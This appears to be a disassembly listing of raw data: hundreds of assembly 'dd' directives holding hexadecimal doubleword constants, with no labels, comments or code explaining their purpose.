dd 7D60C8EDh, 0ED801B29h, 0F88133AFh, 30E5315Bh, 9895F30Ah
dd 802F1C8Dh, 2D03E829h, 3F9F5F1Ah, 0D5F9FA5Dh, 6EF7EBE9h
dd 14FA7AF0h, 9E0FAE23h, 2D605E55h, 0C0BD0455h, 0BC2F511Dh
dd 115213FAh, 0E5B9BD04h, 8EA13DACh, 76227E37h, 4AE4BC3h
dd 8A0F91D6h, 29BED416h, 0D2CBE0EAh, 0E9405805h, 0B7BACFDEh
dd 71AA5F2Ah, 7BE6B9ACh, 880C91E3h, 0F32F15A5h, 4CCDFB14h
dd 954171E0h, 5A78DD28h, 0EAB91647h, 0C742DB69h, 1EB3009Eh
dd 2803CEB0h, 0C0FE5BD8h, 0F52CA8F6h, 5AB20C52h, 1154D030h
dd 18BE7340h, 84D60747h, 0ED124EEEh, 6C00FA37h, 6AAC3485h
dd 0E9F70B29h, 536B24D8h, 0E8656EC1h, 449F9B5Dh, 5AF1F05Ah
dd 2D65A4E4h, 0BA7D85B7h, 2D545648h, 54A59A75h, 0ACFD5880h
dd 448804BCh, 69ED81D8h, 7AA10B16h, 0C29785C0h, 0AE3AD3A7h
dd 0CBBFDF56h, 5DF50991h, 18D00242h, 6BDE7E08h, 0A220E31Ch
dd 9FCB0C3h, 1B8709A1h, 0AF1D85D7h, 0F624DFACh, 0F6208ABh
dd 46005712h, 64C5446Dh, 5BD30905h, 21847C24h, 483AB8C2h
dd 87137821h, 3470DB90h, 36BBF5Dh, 2978C26Ah, 0DC045FFDh
dd 0E2444E38h, 0E9FB28BFh, 849A0B24h, 7E2C181h, 7A20EAD1h
dd 4F462D66h, 49FD9940h, 0E91233F4h, 2549BB25h, 0A1D016FEh
dd 8844DC8Bh, 9F80E9AEh, 1D853517h, 0B5CDE2BEh, 2BCBCDBEh
dd 5A79658Eh, 0D881E8C9h, 5C192886h, 26275C58h, 9A502ED4h
dd 0D668889Bh, 0CA8C535Eh, 1BCDF450h, 4267067Bh, 0EE200CFAh
dd 58222172h, 0AD5A1C62h, 6B013B17h, 0A4D18EECh, 78F27678h
dd 9E74EED6h, 6773EE00h, 30E956EFh, 0C3679715h, 35494166h
dd 0D59E1052h, 39FE680Bh, 4A54EFB0h, 2760FF82h, 0F764EFF8h
dd 0EBE2C848h, 0A1F9E87Eh, 0F32A28EDh, 775F1022h, 0FBFCC441h
dd 4C47B28Eh, 601D6D7h, 90DF82Bh, 4F65FCDFh, 4ABFD7A7h
dd 2DCE8FABh, 82DE715Ch, 6B9430C3h, 52934FC5h, 344560FEh
dd 3613AB01h, 6DA0A8E9h, 8CDB9D58h, 9516D24Bh, 4246E683h
dd 0D9EB9B02h, 4C3BA31Bh, 40BE0019h, 8120CE15h, 57168DF6h
dd 0BB117EC3h, 0C92D0F9Ah
dd 89D94750h, 280684DFh, 2A1FCDAAh, 45CA8F80h, 742044Ah
dd 0FAE2E4E9h, 6809365Eh, 38187DBCh, 0DCB55953h, 0C724BD9Bh
dd 6F721A28h, 0C37AE877h, 666E1A13h, 0C8E40C38h, 0E12DDF8h
dd 5E000D47h, 18672E97h, 5BD93929h, 80D0E9A7h, 5E302212h
dd 0E82D12FFh, 0AF6AD8F6h, 7BFE83B0h, 902C5320h, 573F0FB3h
dd 0FC64317Eh, 0EDA6FAB5h, 2855A15Ah, 8C13A47Bh, 0A26BB0A1h
dd 8EED5AD2h, 1CC1FAE5h, 18F02BFAh, 0EF058001h, 78DA7539h
dd 72DD028h, 0C11444EBh, 3BBB4523h, 950BDCCCh, 82F5A20Bh
dd 9B96D0Fh, 45932575h, 0B84EBFECh, 8CEAB5B4h, 6D70489Fh
dd 4516F9BFh, 0C184943Bh, 29AB989Dh, 4AB53936h, 0CBF541C1h
dd 63493DCh, 12E95B8Ch, 0BA0527F7h, 0BF11FCEh, 94AB61C2h
dd 715EBDA7h, 0EA6BE985h, 0D383F05Dh, 0DA45673Dh, 25E05E66h
dd 1C248CFBh, 27BACC25h, 9D4E3C01h, 49F1C18Bh, 5B6800A7h
dd 95C69705h, 0BD677413h, 6E6EB00h, 0C4574668h, 24D8A51h
dd 8F5FFB29h, 990544EDh, 0D58165D3h, 0DCE446FCh, 714E18AAh
dd 43106E40h, 0B0F734D3h, 0CD92865h, 0F61E5B12h, 0C2731012h
dd 0ECA8813h, 0FE161742h, 2FE97B7Ch, 0A75FB7DFh, 0F3046AF0h
dd 49C38003h, 0C332EB99h, 0E9EA10B6h, 1586594Ah, 0ABF05F1Ah
dd 1666260h, 0E93E0C2Ah, 0EA6F9D33h, 0F6C1729Dh, 0BEB04A32h
dd 0BB9F32Ch, 386C46DDh, 62D99A80h, 0CB031FDh, 222F3D0Bh
dd 7018007Dh, 0FA308749h, 5BE924F1h, 5558895Ah, 599BFA82h
dd 0F9D98803h, 397B0FDAh, 0BE7725A9h, 99232032h, 30AD0BD9h
dd 569DF6ECh, 0BF2F623Ah, 2394620Eh, 0C7A1C0F4h, 0CF810201h
dd 5E34990h, 94C4B080h, 0FAFA09EEh, 0AD5B3390h, 4BAD22AAh
dd 0C1200E40h, 36F8E15Bh, 788CC219h, 13526041h, 25E94640h
dd 8924021h, 0A3D6CC82h, 0BCEC0C0Ch, 0BEFE2556h, 0E52DF153h
dd 8C71A83Fh, 412AF0C2h, 0E687E642h, 6090D918h, 4F39199Ch
dd 0BA614A43h, 0A606FDCEh, 4C9AAC28h, 64EF985Fh, 0A1DC016Fh
dd 29027318h, 815E2776h, 3054EC29h, 30A80F21h, 0F60982C2h
dd 3D868248h, 88141B0h, 708C788Fh, 0AD61FB7Bh, 773AE7A7h
dd 8FED63E5h, 56FE53h, 3F3D694Eh, 390A683Eh, 140DE42Ch
dd 0B0624B2Fh, 5F8BBB6Fh, 901BB33h, 0BD3499C3h, 0BAA8866Eh
dd 2A980884h, 0EC57EE40h, 8780554Fh, 5D9A8352h, 5FDEC886h
dd 16B1EF05h, 92040818h, 0F791EECDh, 0B9BC5B9Fh, 645DE384h
dd 9E0FAB44h, 0DD20E955h, 6DC4D4EAh, 0F0097C95h, 580E67Ah
dd 8E19123Dh, 3F27EADBh, 4F60F2h, 291305BBh, 0EE87961h
dd 0FF8DE07h, 0C2E02C80h, 97054795h, 0D6A2FB89h, 0C07DE188h
dd 83479B11h, 13BDAABCh, 10E9A798h, 0E29D6160h, 5B9E71E5h
dd 9240A811h, 0E9E183F9h, 3A003FFAh, 5A2D5B5Fh, 1833486Eh
dd 705F814h, 0B5963540h, 68505000h, 435821A3h, 91C21AB0h
dd 0ADB5DB16h, 0E851488Bh, 0F926E9C1h, 63D15A02h, 0E5A8B644h
dd 33C68001h, 0A59E67E9h, 2CAA9660h, 1356D821h, 5163FBCFh
dd 0F5F3035Dh, 6025767Eh, 0A2F14820h, 178B8EBDh, 0C5498BFh
dd 0B05DC683h, 0A4694B6Fh, 820BCA43h, 0F4567201h, 500A03EDh
dd 9E52143h, 3202C2CEh, 467D7EA2h, 887D9878h, 0B797918Eh
dd 810058E4h, 2C0A9CF2h, 4F830F7Fh, 0E898166Bh, 294BA1DBh
dd 142E9507h, 0D532A4CBh, 48F7EA45h, 4A2968CAh, 739F3249h
dd 6DED8B57h, 0DA2B0C06h, 8402C775h, 31C88CF5h, 0EDF790FEh
dd 9E0580F0h, 47454112h, 275EED03h, 9A82C43Ch, 0FDF6B8h
dd 4072CACh, 0D8762836h, 805B68E8h, 0B517A0B3h, 0EF331335h
dd 0C5871489h, 427B2F1h, 4534AF20h, 0D3B4B117h, 22F13505h
dd 0D2AF876Ah, 0EBCA62E9h, 4289F1FDh, 54048905h, 0B7B771BAh
dd 0B80A8122h, 2D0675CDh, 4003C76Fh, 733E7ECBh, 0AF8B05BDh
dd 74BF71D0h, 62852D34h, 279026F8h, 0B99B1330h, 3B22A9C7h
dd 7F46EFh, 4C874AFAh, 7AE850Fh, 6DCF25C0h, 73183F15h
dd 56B862E9h, 0E055C1C6h, 0E11DC3F0h, 5668E202h, 3BC073E7h
dd 0BAEE5AC2h, 407CB743h, 0A03FD651h, 0D05FE911h, 525A8404h
dd 0A0D0BDECh, 9A753F04h, 98DDAA0Fh, 9C616B41h, 4CF77064h
dd 0E95BA0D9h, 3C854C68h, 0AA8218F0h, 4CEFC1B0h, 0A84FAB02h
dd 6B3C554Ch, 0A8D1F5D4h, 0B800CDFEh, 2C5F368Dh, 6E4708h
dd 0D9A313BDh, 0D57C2940h, 0B3483430h, 2F45012Dh, 0C2817753h
dd 302A08D0h, 0F9416D7Ah, 0BF8B6AD4h, 404239CAh, 7F5C9769h
dd 0EA203A9Dh, 0C61C050Bh, 11FE015Eh, 0CE310880h, 64FA5FF4h
dd 8760F305h, 398E0D0Ah, 0DC1B5043h, 40F541C4h, 5F1C1578h
dd 0CF465C97h, 0D18CA413h, 41620316h, 4D40BD53h, 3AF46852h
dd 0C646626Bh, 23643B13h, 0D3A53D31h, 5A7DF69Eh, 19C4B8D2h
dd 4631170Fh, 63AE7DDh, 9EEAD114h, 39823830h, 128D37F2h
dd 95677D2h, 8A025B06h, 0E5E5F1AFh, 6C7963Dh, 322B5591h
dd 4F020D38h, 836D7733h, 0D4588EC2h, 660BC998h, 9BE3A7E9h
dd 0C06C8871h, 0DE0362E8h, 0EA4C49C3h, 50E9BD1Ch, 0A6455B67h
dd 781A09E0h, 0C6762B0Bh, 0C54D0694h, 1C6474F2h, 1033A2EBh
dd 280FE6B5h, 0ED1E58E1h, 8AB93680h, 58B7D75Eh, 4A5741Eh
dd 8C0F6BFAh, 0BA439587h, 413F797Ch, 0D9377F4Fh, 1F868ABFh
dd 853A2E03h, 670C042Fh, 0EA3FD043h, 0C8493593h, 25895842h
dd 105559CBh, 1BD55DEh, 48051560h, 3B0704E9h, 0C692C199h
dd 0FB3EC4A5h, 0E13F883Dh, 24817E79h, 5B0027EFh, 204E1668h
dd 0E8F2BC37h, 147357BBh, 7D646809h, 29AF0D30h, 407D1C12h
dd 251CF0h, 2AC05EFh, 0C672BC35h, 0DC04124Eh, 99C0FA29h
dd 595A1F2h, 43E9F183h, 12E09A6Ch, 0A3AAB461h, 4A012687h
dd 7A23FC27h, 15247C57h, 8913B435h, 3CE88DE8h, 978F17F4h
dd 69BDE452h, 0A580038Ah, 0D9A99357h, 317A5379h, 9BA1A0h
dd 302F3DBDh, 2B436F7h, 7B4B8A69h, 5A3987D0h, 5B89F440h
dd 0B96328EFh, 3E3DFC1Ah, 972AFFC4h, 4BC410CEh, 69D10988h
dd 1F5C6C85h, 50457652h, 0A65FD3E9h, 60EEC874h, 685DEE84h
dd 0F12A7C2Dh, 75E9411Ch, 10FB293Dh, 0DB48C11Ah, 8058EA2Fh
dd 0E978AA94h, 486B9A4Ch, 6F78F456h, 0CB8ADC6Ch, 0EA8889E0h
dd 0AA258984h, 59972B31h, 74162776h, 499F7D7h, 0F66F3568h
dd 0F8D895FEh, 0BE1968Fh, 0C378EB2Ah, 68BB409Ch, 0E9104C2Ah
dd 92A86325h, 0B726B493h, 78883045h, 915B1264h, 2EAA8C6Dh
dd 548094B2h, 68713622h, 960AEE24h, 981B50C6h, 74E21DEEh
dd 0A756A538h, 0DE401B16h, 231D31BDh, 35457B19h, 0FC731F7Ch
dd 0D4A3DA4Ah, 6D266FFh, 84B71AA0h, 80AF44B6h, 10B1C73Dh
dd 52401618h, 5AA60489h, 581514C8h, 0A2F7738h, 0D4187701h
dd 0DE4EE0E9h, 5A6143D0h, 65C8A1D6h, 315D0B85h, 4F1931F5h
dd 1A22A8Eh, 8FED819Dh, 6F542722h, 801D794h, 0B39FE95Bh
dd 4FEFE050h, 0C4CB0450h, 0AB5FFB09h, 0C54CBA18h, 61CD306Ch
dd 0E4437A0Ch, 0C301BC98h, 3B9A37EFh, 4C8BD901h, 0C6F4745Ch
dd 0EB9D9872h, 0EE061603h, 102CE802h, 0AA4EEDDBh, 7FD3DB26h
dd 8D682EF7h, 0AA07CF8Dh, 0C77F0930h, 0AE341293h, 916F7A7Dh
dd 5CC252Eh, 418F9A00h, 10D2B2Ah, 29DD74C2h, 3EF4E991h
dd 4D681E02h, 2D454C32h, 7E8F05Bh, 38BDADBBh, 1B35336h
dd 5BDD8830h, 0CD02E5C0h, 79B03BEDh, 4AC34908h, 0F4209E81h
dd 0A8728B6Ch, 50F8FCABh
dd 31394058h, 8D035C2h, 3CCB500h, 55E9C9C8h, 0EC00882Fh
dd 50612842h, 0FA84FA6Bh, 59132618h, 2838E7EBh, 5AF72800h
dd 39805966h, 0D0CCABCFh, 0E9FD0660h, 0A5BAF373h, 3B3DFB31h
dd 217F35A4h, 44B8D21h, 19E32EEh, 2696DA5Fh, 977C708Eh
dd 0D8FE00C8h, 0C148943Bh, 0D002EA27h, 6E7400B0h, 0D0290645h
dd 6CB6FEE9h, 3A862500h, 240F67D2h, 8001AB8Bh, 3DE8D52Dh
dd 0C65889F3h, 91E04ECFh, 7DC46B44h, 644FA4DEh, 9610E012h
dd 208BE32Eh, 52E42096h, 0E4E051Eh, 682D1680h, 0EA2CC424h
dd 43471F59h, 4AF1C02Eh, 0E95745A7h, 0F1087B27h, 0A9F6CB41h
dd 5C0C0179h, 4987DCB7h, 598E9B0Ah, 3336C568h, 5F5227C6h
dd 33E90330h, 0C6877665h, 0EF3896AAh, 2662A4B0h, 0D60E9549h
dd 0ADBF6FD0h, 0CE117F93h, 0C5034762h, 689B0DC2h, 2FF2EED9h
dd 69677FCDh, 527D6037h, 2D794CBAh, 21C08092h, 3D05A468h
dd 1E2764F8h, 0FE437405h, 27681788h, 6FF1372Ch, 5555748Ch
dd 93B260B3h, 5F3C71C3h, 33D3A4Ch, 2F685602h, 0CF291059h
dd 850F0B6Dh, 69FF6852h, 15880E6h, 0DD368B9Fh, 0B1B14365h
dd 0EB048D32h, 0BF334AE1h, 0FE9A6712h, 0BBF1238h, 4C555CA5h
dd 821809D7h, 64D403CAh, 705B001Eh, 0C5290F88h, 0ABFE5158h
dd 7C70A44Ah, 3168595Bh, 31B91BB7h, 545701BAh, 9B9C1CDCh
dd 46452593h, 386C5A19h, 70E90F8Ah, 477D25CAh, 81740818h
dd 7252A73Dh, 55D7F609h, 13FCD7C7h, 38317AE3h, 0AA5F4EAFh
dd 685A7F20h, 0F64B4A89h, 0EB444B37h, 0E3AEB63Ah, 69977CA9h
dd 0A3DCF14Ch, 75C6FFC9h, 292FB03Eh, 20D8C447h, 5F76D63Ah
dd 6CBD1669h, 0D0BE55AEh, 139E8E7Ah, 9D5D27E9h, 0C157EF56h
dd 0BE3B94EAh, 680E8E8Eh, 0BB130ECDh, 0E90D278Eh, 0CD0A88A0h
dd 0B397DCC6h, 0A45C4CCBh, 0D180577Eh, 5F432C49h, 217CA142h
dd 0FE85CFC7h, 0FC4F90CEh, 244C883Ah, 0A9250854h, 72C3800Fh
dd 0D88DB706h, 2E10BD43h, 23705B68h, 9461D9BDh, 9D209656h
dd 9E76F8BDh, 0BA227A04h, 0EBA985E9h, 0CEA0980h, 0F0B59868h
dd 736D0259h, 0D30128F2h, 2BAF7040h, 76BB5380h, 0F0C275Fh
dd 0E1C3B6E8h, 3B506413h, 85E8FD0Eh, 78C25DD5h, 9F85F04Fh
dd 86E9F060h, 0A6A3A25Bh, 96DE5932h, 2BD46801h, 0E0B8466h
dd 0BB82D5E0h, 0D3F6C84Fh, 0E4FBFD65h, 7C016BDDh, 840F6FFCh
dd 2C7FE3ECh, 18418D14h, 3178C13Ah, 2DEC300Eh, 30040A02h
dd 0EA37E962h, 0B2D1FDF7h, 1E7FDA08h, 201041B9h, 20CA2933h
dd 8080D9E7h, 30EB13F6h, 0B63303F0h, 0C13282Bh, 0C0C472E9h
dd 0FB46C4EBh, 0D3873A81h, 8828461h, 0DF4EE955h, 5F081CFAh
dd 13021879h, 0E350B507h, 82B980B1h, 0A93603CEh, 0A8EA7F77h
dd 0BFE90801h, 0ACEE5539h, 0D9902F48h, 6D6885EFh, 0C446EC7Dh
dd 0FF343795h, 9E825EE2h, 0CCC0D86Ch, 576408E1h, 2D005BD0h
dd 3D62375Dh, 11602998h, 7BC1BF14h, 47330273h, 0D8A7890Fh
dd 3890C454h, 59585B0Dh, 12CDD11Ch, 2DBDF0E5h, 16DFEE83h
dd 0E6482089h, 538246BCh, 0DF036B66h, 5AB0D5F0h, 84E94A58h
dd 57B81757h, 632ABF12h, 96825623h, 72AA6260h, 0A0761895h
dd 618E0065h, 3559C809h, 852E7A2Bh, 4527A9FBh, 0E53D9EE4h
dd 0BC605492h, 0C53B0B5Dh, 46EE1F07h, 5DD68F0Bh, 0EEC392A5h
dd 99E95AD1h, 9BB3364h, 61BA4B23h, 0D1F1586h, 991333D7h
dd 0DAC483A2h, 0A8F217BDh, 4183CC4h, 1FC1FD28h, 34388178h
dd 0E17E1785h, 6CB12BD8h, 0EDD90175h, 317E0D29h, 0E873B638h
dd 67282F59h, 4FB09F66h, 803BBAB3h, 51BD58F3h, 4BBD3465h
dd 0F740A241h, 60C7C607h, 75F378CCh, 3E58732Ch, 0F7FB25B8h
dd 45827038h, 1D0BCDACh, 0FF371C2Ch, 0B62E8E00h, 25B84955h
dd 0FD40985Ah, 0E2882870h, 0B8F25021h, 383C0EEAh, 0D6290147h
dd 5600C909h, 184A498Fh, 79DA892Fh, 0DD300E9Bh, 3008EB4Dh
dd 6EFF8889h, 0C7FA5EC4h, 0F5D0A91Bh, 82E6F29Fh, 4FA077CDh
dd 3D5832ABh, 0F13B9C90h, 4E3C09F0h, 5E220B21h, 0AFDC88A1h
dd 96D48069h, 95755A09h, 0FD2C0B55h, 0F325DE9Ch, 52B37497h
dd 7A88D648h, 6C58719Fh, 99B7B21Ah, 103C9F01h, 5DE83104h
dd 7D0BFD05h, 255D68FDh, 0B5CCF868h, 0CB50EDFCh, 0ADEC9D59h
dd 0DF0D146Bh, 5D5ACE00h, 0D07D215Fh, 4A6C905Dh, 6C80660Eh
dd 0EC960601h, 0E9AA16EBh, 18D0FA0Ch, 3D72391Eh, 0F8CA8B56h
dd 48C2B4BBh, 71BD0022h, 725FB526h, 8B4C6E91h, 6C4FBB88h
dd 52ED54A5h, 0D66AE20h, 1599261Fh, 0C6C293Eh, 5E08AA26h
dd 8C0F0207h, 10E8987Fh, 92BF0D80h, 0D829FF42h, 84044755h
dd 0EA7A1BE9h, 4B10138Eh, 80BE04DFh, 0CD82852Fh, 0DD8280E6h
dd 160F4E7Ah, 0E8CED188h, 504D842Fh, 8C827FF8h, 5E201902h
dd 0EA67A152h, 0F25F0B76h, 41828923h, 0D8088C55h, 8414893Fh
dd 0EFB80021h, 97C954F5h, 0C83BF75Ch, 0B0A0419h, 8DFE1632h
dd 0B2F33C8Bh, 88DAA1F1h, 0F22B874Ch, 2CAAD627h, 4231E9C5h
dd 0EA01387Ch, 0B14243Eh, 0D94629EBh, 0E89BBE27h, 757CF28Dh
dd 0B2315B32h, 0B3ACD3AAh, 4ABFA910h, 0F5E89516h, 895DE9B8h
dd 0E686192Ch, 0A2B0346h, 12A9BA64h, 0C52B05BCh, 4653FBADh
dd 22E4690Ch, 0FED51BF6h, 1FD908CDh, 0F4F7645Ch, 7868051Ch
dd 0F1C0F171h, 1255E06h, 0AC6455ECh, 2658DF37h, 5D0CED3Ah
dd 485A0FB4h, 0C139CB21h, 0C8310C82h, 25AC668h, 1F5DA6FBh
dd 2F79893Dh, 66705736h, 44223025h, 0C189B580h, 7E1C30DDh
dd 0C8E203Ch, 8BD6E925h, 172075ECh, 0A7CA09F2h, 0D713A1B0h
dd 0F3C2C8E9h, 0BD88405Fh, 0F97582D6h, 7B598840h, 0F58D622Fh
dd 0AFA62B06h, 0A73FEA96h, 0A0769ADCh, 454CBD2Ah, 0E92A0B77h
dd 49B1DEA7h, 0AAA33B56h, 0D6A3BB92h, 5EB8AD3h, 65DB685Eh
dd 20D99B49h, 7624B883h, 485500B3h, 0BA40540h, 15EA029Eh
dd 0CAC6A517h, 4C01C6B0h, 4E051CF2h, 0C15B5C0Ah, 64D7BD71h
dd 665BD80Dh, 9941D088h, 0AE0AF93h, 61B19860h, 5AD63142h
dd 2F1D9896h, 97966CBh, 72684460h, 517DA86Dh, 88CB13B1h
dd 280E8CCCh, 9858E72Dh, 7860B4BCh, 30CE3080h, 0D1B7531Ch
dd 8B16E925h, 291DD69h, 32B76A5Fh, 0DD3BBC04h, 4031C279h
dd 54096471h, 0BCE5575Fh, 0DC3B3802h, 3C25617Bh, 0E0E90D85h
dd 0C9F8D0C5h, 20C64D69h, 1C03FFEFh, 25AFB9E9h, 4A893457h
dd 5BE314B8h, 865E202h, 6F482155h, 0E49DBAACh, 31E4BFD6h
dd 9FE67420h, 3BB001F2h, 616AB22Fh, 9380DAFAh, 35EF59CFh
dd 0BC2D368h, 0E1FD295Dh, 0F00D190h, 0BB5BA489h, 7601B35Ch
dd 0E6C121BDh, 0F6E070h, 85E1A442h, 0D16A882Dh, 19A1124Fh
dd 278E0706h, 28FFF487h, 7F08F597h, 0C28307E1h, 0AB8F8201h
dd 0EE1D6E64h, 894F5B65h, 7EEAA6F1h, 0C6B1003Ch, 0FC5C180h
dd 3296848Dh, 7C3B5725h, 7A858FF9h, 0B4501902h, 0A2FA8E68h
dd 0C32CCFFEh, 0D523CAA4h, 957FB4A2h, 62FB0102h, 46E8FD1Fh
dd 0BF025752h, 4E683415h, 0D70589BAh, 0B1075785h, 0BC8B7A55h
dd 0E76D277Fh, 9E7D33C9h, 0B2CBD406h, 84DBA2CFh, 0C4841A20h
dd 92F8F8CAh, 9BDDC08h, 1B74F328h, 7CC22742h, 21D161E4h
dd 0CE5C6030h, 0DB36A90Ah, 0E8029E0Fh, 80051360h, 8D5810D7h
dd 9523B8EFh, 0E9058FD4h, 89FD7964h, 0D9CE2C02h, 0F6CB2918h
dd 0BF69A8F9h, 6774AFA9h, 9802AFA0h, 0A34A9445h, 0A90D80F7h
dd 0FA09577Fh, 2F0B9521h
dd 6E5283D4h, 600F317Eh, 3C54530Ah, 78F9A4D6h, 0C1525E8Bh
dd 4BAFE55Ch, 0A3E05A12h, 43687926h, 505B7860h, 26231AEh
dd 17D8234Dh, 5D08B9B3h, 8158163Eh, 24BC0420h, 975BE5CCh
dd 0F92F5729h, 0FAE9098Ah, 16A3DAACh, 1C5511Dh, 39A8F7AFh
dd 28F30BAh, 0D5D290ABh, 0FA8FFC57h, 620B4148h, 0D794702Dh
dd 59B0B396h, 0C41220Bh, 23425745h, 91680801h, 162D260Fh
dd 0EAEDE7E2h, 83ADE9F0h, 968808B6h, 6B42C87h, 0E494F8Fh
dd 8BE58A09h, 0EACF07DFh, 58577DAFh, 9833F62h, 6525DA83h
dd 4E894F0Ch, 601D654Ch, 5FEE7BC5h, 0A10B7FFDh, 585EF121h
dd 0B9511497h, 0ED16491Ch, 12D3ADD4h, 7EB86E61h, 2E7C1A0h
dd 0E5406FFEh, 5E80201h, 57515842h, 34E306F7h, 0CA304839h
dd 0E5750F6Bh, 0E0819EDDh, 800EB502h, 0F76662EDh, 2CDE79E4h
dd 0E955C5C2h, 39A5580Ah, 0F31DEE88h, 847645Ah, 80078292h
dd 0E40FD0F5h, 3DC36659h, 5FC6D062h, 0E9FE1528h, 0DE4E8498h
dd 600C2796h, 0B847B55Bh, 9BA3093h, 1C5F2110h, 16E3F9BDh
dd 408A5220h, 891B2757h, 0EE0DBA41h, 560BD60Ah, 201947Ah
dd 0AA3FFDDDh, 6038505Dh, 0D02867B4h, 67E4D904h, 0BE10C99Eh
dd 0CB6AED41h, 0A2E983F3h, 0A5BF843Ah, 31D030C9h, 305AEFF8h
dd 7584A8A2h, 498C97DEh, 2CB07878h, 0DF53D716h, 0EA109A1Ch
dd 72F35F27h, 76197826h, 1E20293Ah, 5DE22F68h, 66074DE6h
dd 812D3E39h, 0EA7A1AD0h, 0DAF72E50h, 1C9404E4h, 0D272C2A0h
dd 5F064175h, 0B157F83Bh, 0D628D901h, 0B36DB8B5h, 0B2205A83h
dd 0A35B3182h, 4A4D6F7h, 793503C4h, 0B72E7D02h, 0DEADCB51h
dd 1ACAA638h, 4DFA93BCh, 150508D7h, 0A129E009h, 26C3C03Eh
dd 0B80106ABh, 0C32D65F0h, 0BC3FD831h, 1D6882B2h, 0C4B99119h
dd 0B20A007h, 5E00374Fh, 6D7C8FBFh, 5D8EE9B2h, 6802327Dh
dd 3EB31162h, 0E94081FCh, 0BF60D452h, 97EEB1D8h, 4492BF5Fh
dd 4F89E109h, 5B7B902Ah, 1E488E7Fh, 3805FECh, 786575A7h
dd 9F6DEA1Ah, 3C21E916h, 0D388C0B9h, 0A295D189h, 0DC75ADCCh
dd 3EDC23A8h, 3C5F1710h, 1ACBA65Ah, 0F369511Bh, 37B9B92Dh
dd 827FDE20h, 3A4049C1h, 6C66141h, 0F547B27Ah, 0A14A0160h
dd 0BDECB25Dh, 0D55AE979h, 0E91C6C9Eh, 0D42F3E50h, 6EDD511Eh
dd 1EBDFB00h, 0E3010B31h, 0F702393Ch, 892A2FBFh, 8FF0B48Bh
dd 2DAF0C5Bh, 9CD96F72h, 0B4E1942Bh, 7D0540DAh, 63E91DCDh
dd 5D2495BCh, 0CEDDE2C2h, 0DBF65A00h, 0B8E37EC0h, 2C641C56h
dd 0B0D81489h, 9C86E909h, 0C7B02AC4h, 5995EC99h, 0CF6883C4h
dd 9A5F1375h, 4EEEF39Bh, 8E253DA8h, 9A90AE58h, 0FC169B9Dh
dd 16058281h, 0F0D7AE34h, 7AF29759h, 2CA9285Ah, 53156883h
dd 58636910h, 4E5D240h, 89410545h, 33F9C2F3h, 0DFA73B77h
dd 8CAEA154h, 1B2851A3h, 3BFCA4F1h, 49191012h, 0E0B3C31Fh
dd 7D0D99B5h, 1AF6ADA5h, 182BA78h, 4A74F56Ch, 662DB468h
dd 0B7E310C2h, 30B8BE02h, 0D6602115h, 0EC5E5120h, 2107F156h
dd 55D524A2h, 0C3F990EEh, 0D2273FB7h, 7D538175h, 0F3FD2F08h
dd 8E081CA0h, 0CDE92F47h, 0D480F32Eh, 5130410Fh, 99BD5502h
dd 852BAD34h, 64FE5DECh, 990E1470h, 90D7CC25h, 0A685D3DDh
dd 95A59FAh, 0C996E9F0h, 224A369Ah, 0BA03CCFFh, 7D6F7A0Bh
dd 20895716h, 13D6FB81h, 0C981F8F1h, 6E602F03h, 1D1F755h
dd 0D5BE5604h, 3BDCF9E2h, 0CB099905h, 4E8AD1E4h, 6A863D74h
dd 6789CFA2h, 0E6C171A1h, 5068B03h, 7741094Eh, 5597E8DAh
dd 0B0055C1Bh, 4D456C12h, 0B15F82FCh, 49D4426Dh, 61C7A840h
dd 15FD3713h, 8AA60EC1h, 0BAAA2504h, 2FBDD8D4h, 652784h
dd 5105D0F7h, 0F8CEE479h, 0C235F184h, 81CB2330h, 9C1B7087h
dd 3AC97B55h, 0BE65B321h, 45AF7055h, 0E22047D9h, 0D16AC4C2h
dd 6B00C965h, 2D29D7A0h, 0F9D45856h, 9B0BE720h, 84BDBA82h
dd 9E86EC6h, 0DF3121F4h, 4A5A0272h, 1F67752Ch, 7588C8A7h
dd 81A0E2E9h, 75CAD95Ch, 57E87EA1h, 0A717FF5Fh, 5A259DA6h
dd 0E91310E6h, 74AFBD69h, 0E72FC018h, 734A54D4h, 314D98EEh
dd 6BFE7495h, 0D94B4AFCh, 0DD54525Eh, 259A5688h, 0D9E293DFh
dd 16B3F6A3h, 0C9C96BA0h, 1C47806h, 0E9A5C785h, 8C7A08C3h
dd 99A84697h, 66FED4F6h, 0AD1262B4h, 2B843C01h, 2D39071Eh
dd 42E9A84h, 23C0E2D1h, 0EFDB5F62h, 2D17003Ah, 40F37250h
dd 55002B8h, 0F29F5A07h, 0BFAB2D76h, 535F627Ah, 0B24B28AFh
dd 0D50AD198h, 0F38D1EE9h, 79AD3CB0h, 294A2C1Ch, 0AD4B945h
dd 8E0127E9h, 82875F3h, 0A50EC54Ch, 31AA2CEFh, 0E96EB09Fh
dd 784923Eh, 885168B3h, 59CE22D9h, 19D1EC5Dh, 69AC680h
dd 0ACEED801h, 7CF52CCCh, 0AD435A8Dh, 0BEA1D681h, 877AC16Bh
dd 0F592682Ch, 43639CBBh, 0C30DCA67h, 0F6F8E872h, 527DE91Eh
dd 6E5E255Bh, 538C6CF3h, 95D67571h, 0AE96648Eh, 0B83A7E6Dh
dd 0B0E9B149h, 524EE2Ch, 41B10E7Bh, 0C5C12DAFh, 0DAF8292Ah
dd 1174078Fh, 17FC512Fh, 0DAF74241h, 9FD5E17Eh, 0F689570Ah
dd 625FD49Eh, 0F0711B28h, 1378D32Dh, 0A01BC798h, 69E30F6Ah
dd 45D5F714h, 5BF20097h, 0EB31DA99h, 0CA0E24E9h, 991A47EBh
dd 0B16FC47Fh, 0DAC08B4Ch, 63934A77h, 1778A072h, 9FE7BD3Dh
dd 404916ACh, 0CE70A7E9h, 38E0C25Bh, 0CA017B77h, 606BF4CBh
dd 7ADAF636h, 0F2800BFEh, 3A0E30D9h, 5957D869h, 2D848F0h
dd 0E3288AB4h, 8663F9D5h, 64FC380h, 82E5305Eh, 3E3AFED6h
dd 6A725031h, 5392935h, 67A63DD1h, 49C86980h, 0E2EEFF8Ah
dd 90505CFFh, 0EA173EBAh, 892D5D7Bh, 0EA84049Eh, 14D1212h
dd 0C505E8A6h, 5D11E842h, 0DDE43AEDh, 4C392768h, 4DF4DAECh
dd 0CE90B53h, 4FF15FE9h, 0E05B5EDFh, 2B973784h, 40207076h
dd 6B722DD4h, 823352Dh, 0E90B07E0h, 0F28A3E5h, 95E1DC8Eh
dd 0B195B82Bh, 0E5830D63h, 0D1282DC1h, 0CAB7BEAFh, 575F7B51h
dd 0DD5A7B09h, 97A4956Dh, 2B5A442h, 6A75F781h, 0B7CCCCFFh
